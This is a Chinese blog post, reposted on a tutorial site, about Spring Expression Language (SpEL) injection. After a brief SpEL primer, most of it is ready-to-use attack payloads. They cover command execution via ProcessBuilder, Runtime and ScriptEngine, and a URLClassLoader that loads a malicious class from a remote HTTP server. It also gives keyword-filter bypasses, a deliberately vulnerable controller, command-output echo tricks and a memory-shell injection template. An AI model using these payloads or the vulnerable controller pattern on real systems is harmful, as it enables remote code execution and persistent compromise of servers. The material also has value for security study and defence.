经验首页 前端设计 程序设计 Java相关 移动开发 数据库/运维 软件/图像 大数据/云计算 其他经验
当前位置:技术经验 » Java相关 » Spring » 查看文章
SPEL表达式注入分析
来源:cnblogs  作者:F12~  时间:2024/3/29 16:22:25  对本文有异议

环境依赖

  1. <dependencies>
  2. <dependency>
  3. <groupId>org.springframework</groupId>
  4. <artifactId>spring-expression</artifactId>
  5. <version>5.1.9.RELEASE</version>
  6. </dependency>
  7. </dependencies>

SPEL表达式基础

SPEL简介

在Spring 3中引入了Spring表达式语言(Spring Expression Language,简称SpEL),这是一种功能强大的表达式语言,支持在运行时查询和操作对象图,可以与基于XML和基于注解的Spring配置还有bean定义一起使用。
在Spring系列产品中,SpEL是表达式计算的基础,实现了与Spring生态系统所有产品无缝对接。Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEL可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。由于它能够在运行时动态分配值,因此可以为我们节省大量Java代码。
SpEL有许多特性:

  • 使用Bean的ID来引用Bean
  • 可调用方法和访问对象的属性
  • 可对值进行算数、关系和逻辑运算
  • 可使用正则表达式进行匹配
  • 可进行集合操作

定界符${}与#{}

这两个作用不太一样,${}是一个占位符,可以进行一些注入,但中间的内容不会被解析,#{}是SPEL特有的定界符,中间的内容会被解析

类型表达式T()

举个例子

  1. package org.example;
  2. import org.springframework.expression.Expression;
  3. import org.springframework.expression.ExpressionParser;
  4. import org.springframework.expression.spel.standard.SpelExpressionParser;
  5. public class Main {
  6. public static void main(String[] args) {
  7. String cmdstr = "T(java.lang.String)";
  8. ExpressionParser parser = new SpelExpressionParser();
  9. Expression exp = parser.parseExpression(cmdstr);
  10. System.out.println(exp.getValue());
  11. }
  12. }
  13. // 输出
  14. class java.lang.String

T中的内容会被解析成类,如上所示,这样我们也能解析java.lang.Runtime

SPEL常见的表达式

一些比较常见的表达式

运算符类型 运算符
算数运算 +, -, *, /, %, ^
关系运算 <, >, ==, <=, >=, lt, gt, eq, le, ge
逻辑运算 and, or, not, !
条件运算 ?:(ternary), ?:(Elvis)
正则表达式 matches
运算符 符号 文本类型
等于 == eq
小于 < lt
小于等于 <= le
大于 > gt
大于等于 >= ge

变量定义和引用

在SPEL表达式中,变量定义通过EvaluationContext类的setVariable(variableName, value)函数来实现;在表达式中使用#variableName来引用;除了引用自定义变量,SPEL还允许引用根对象及当前上下文对象:

  • this:使用当前正在计算的上下文;

  • root:引用容器的root对象;

  • @something:引用Bean

RCE直接利用

常见有三种办法

ProcessBuilder

  1. package org.example;
  2. import org.springframework.expression.Expression;
  3. import org.springframework.expression.ExpressionParser;
  4. import org.springframework.expression.spel.standard.SpelExpressionParser;
  5. public class Main {
  6. public static void main(String[] args) {
  7. String cmdstr = "new java.lang.ProcessBuilder(new String[]{'calc'}).start()";
  8. ExpressionParser parser = new SpelExpressionParser();
  9. Expression exp = parser.parseExpression(cmdstr);
  10. System.out.println(exp.getValue());
  11. }
  12. }

Runtime

  1. package org.example;
  2. import org.springframework.expression.Expression;
  3. import org.springframework.expression.ExpressionParser;
  4. import org.springframework.expression.spel.standard.SpelExpressionParser;
  5. public class Main {
  6. public static void main(String[] args) {
  7. String cmdstr = "T(java.lang.Runtime).getRuntime().exec('calc')";
  8. ExpressionParser parser = new SpelExpressionParser();
  9. Expression exp = parser.parseExpression(cmdstr);
  10. System.out.println(exp.getValue());
  11. }
  12. }

ScriptEngine

  1. package org.example;
  2. import org.springframework.expression.Expression;
  3. import org.springframework.expression.ExpressionParser;
  4. import org.springframework.expression.spel.standard.SpelExpressionParser;
  5. public class Main {
  6. public static void main(String[] args) {
  7. String cmdstr = "new javax.script.ScriptEngineManager().getEngineByName(\"nashorn\").eval(\"s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);\")";
  8. // 或者
  9. String cmdstr = "new javax.script.ScriptEngineManager().getEngineByName(\"javascript\").eval(\"s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);\")";
  10. ExpressionParser parser = new SpelExpressionParser();
  11. Expression exp = parser.parseExpression(cmdstr);
  12. System.out.println(exp.getValue());
  13. }
  14. }

注意这里调用的js的引擎,支持js语法,所以利用方式非常的灵活,绕过黑名单啥的也是一把好手

类加载RCE

URLClassLoader

  1. package org.example;
  2. import org.springframework.expression.Expression;
  3. import org.springframework.expression.ExpressionParser;
  4. import org.springframework.expression.spel.standard.SpelExpressionParser;
  5. public class Main {
  6. public static void main(String[] args) {
  7. String cmdstr = "new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL('http://127.0.0.1:8888/')}).loadClass(\"evilref\").getConstructors()[0].newInstance()";
  8. String cmdstr = "new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL('http://127.0.0.1:8888/')}).loadClass(\"evilref\").newInstance()";
  9. ExpressionParser parser = new SpelExpressionParser();
  10. Expression exp = parser.parseExpression(cmdstr);
  11. System.out.println(exp.getValue());
  12. }
  13. }

恶意类evilref用来弹计算器,自己写一个就行

AppClassLoader

  1. package org.example;
  2. import org.springframework.expression.Expression;
  3. import org.springframework.expression.ExpressionParser;
  4. import org.springframework.expression.spel.standard.SpelExpressionParser;
  5. public class Main {
  6. public static void main(String[] args) {
  7. String cmdstr = "T(java.lang.ClassLoader).getSystemClassLoader().loadClass('java.lang.Runtime').getRuntime().exec('calc')";
  8. ExpressionParser parser = new SpelExpressionParser();
  9. Expression exp = parser.parseExpression(cmdstr);
  10. System.out.println(exp.getValue());
  11. }
  12. }

绕过

假如ban掉了一些关键字,我们该如何获取classloader

  1. T(org.springframework.expression.Expression).getClass().getClassLoader()
  2. #thymeleaf 情况下
  3. T(org.thymeleaf.context.AbstractEngineContext).getClass().getClassLoader()
  4. #web服务下通过内置对象
  5. {request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"touch/tmp/foobar\")}
  6. username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf
  7. #BCEL
  8. T(com.sun.org.apache.bcel.internal.util.JavaWrapper)._main({"BCEL"})

回显问题

先搭建一个spring服务,写个controller

  1. package com.example.demo.controller;
  2. import org.springframework.expression.Expression;
  3. import org.springframework.expression.ExpressionParser;
  4. import org.springframework.expression.spel.standard.SpelExpressionParser;
  5. import org.springframework.stereotype.Controller;
  6. import org.springframework.web.bind.annotation.RequestBody;
  7. import org.springframework.web.bind.annotation.RequestMapping;
  8. import org.springframework.web.bind.annotation.ResponseBody;
  9. @Controller
  10. public class spelcontroller {
  11. @RequestMapping("/spel")
  12. @ResponseBody
  13. public String spelvul(String payload){
  14. ExpressionParser parser = new SpelExpressionParser();
  15. Expression exp = parser.parseExpression(payload);
  16. return (String) exp.getValue();
  17. }
  18. }

nmmd,我为什么回显不了,sb springboot,直接给payload吧

BufferedReader

new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine()

Scanner

new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\\").start().getInputStream(), "GBK").useDelimiter("asdasdasdasd").next()
这里的Delimiter是分隔符的意思,我们执行了dir指令,假如想让回显全部显示在一行。那么我们给一点乱七八糟的东西即可

ResponseHeader

由于springboot没有response,所以自己注册一个

  1. package com.example.demo.controller;
  2. import jakarta.servlet.http.HttpServletRequest;
  3. import jakarta.servlet.http.HttpServletResponse;
  4. import org.springframework.expression.Expression;
  5. import org.springframework.expression.ExpressionParser;
  6. import org.springframework.expression.spel.SpelParserConfiguration;
  7. import org.springframework.expression.spel.standard.SpelExpressionParser;
  8. import org.springframework.expression.spel.support.StandardEvaluationContext;
  9. import org.springframework.stereotype.Controller;
  10. import org.springframework.web.bind.annotation.RequestMapping;
  11. import org.springframework.web.bind.annotation.ResponseBody;
  12. @Controller
  13. public class spelcontroller {
  14. @RequestMapping("/spel")
  15. @ResponseBody
  16. public String spelvul(String payload, HttpServletResponse response){
  17. StandardEvaluationContext context=new StandardEvaluationContext();
  18. context.setVariable("response",response);
  19. ExpressionParser parser = new SpelExpressionParser(new SpelParserConfiguration());
  20. Expression exp = parser.parseExpression(payload);
  21. return (String) exp.getValue();
  22. }
  23. }

#response.addHeader('x-cmd',new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine())
然后就会返回一个x-cmd请求头带着我们的命令回显

注入内存马

不需要response,直接注内存马来搞回显
T(org.springframework.cglib.core.ReflectUtils).defineClass('InceptorMemShell',T(org.springframework.util.Base64Utils).decodeFromString('????????'),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()

原文链接:https://www.cnblogs.com/F12-blog/p/18104101

 友情链接:直通硅谷  点职佳  北美留学生论坛

本站QQ群:前端 618073944 | Java 606181507 | Python 626812652 | C/C++ 612253063 | 微信 634508462 | 苹果 692586424 | C#/.net 182808419 | PHP 305140648 | 运维 608723728

W3xue 的所有内容仅供测试,对任何法律问题及风险不承担任何责任。通过使用本站内容随之而来的风险与本站无关。
关于我们  |  意见建议  |  捐助我们  |  报错有奖  |  广告合作、友情链接(目前9元/月)请联系QQ:27243702 沸活量
皖ICP备17017327号-2 皖公网安备34020702000426号